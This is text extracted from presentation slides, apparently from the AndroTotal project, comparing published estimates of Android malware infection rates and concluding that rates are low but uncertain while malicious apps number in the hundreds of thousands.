How Many Infected Devices?

Damballa & GaTech Kindsight Security Lab
DNS traffic Mobile devices
analysis (2012) 0.50% (Q1)
Mobile devices 0.52% (Q2)
(0.0009%) Android devices
380,537,128

INCT viece AndraiAd



Conclusions

e Many infected apps (hundreds of
thousands)
e Low infection rate (0.0009-1.0%)

o Wide range of uncertainty
o The ROI per infected device must be high!

e Authors have just started to show what
they can do.



http://andrototal.org
@andrototal_org
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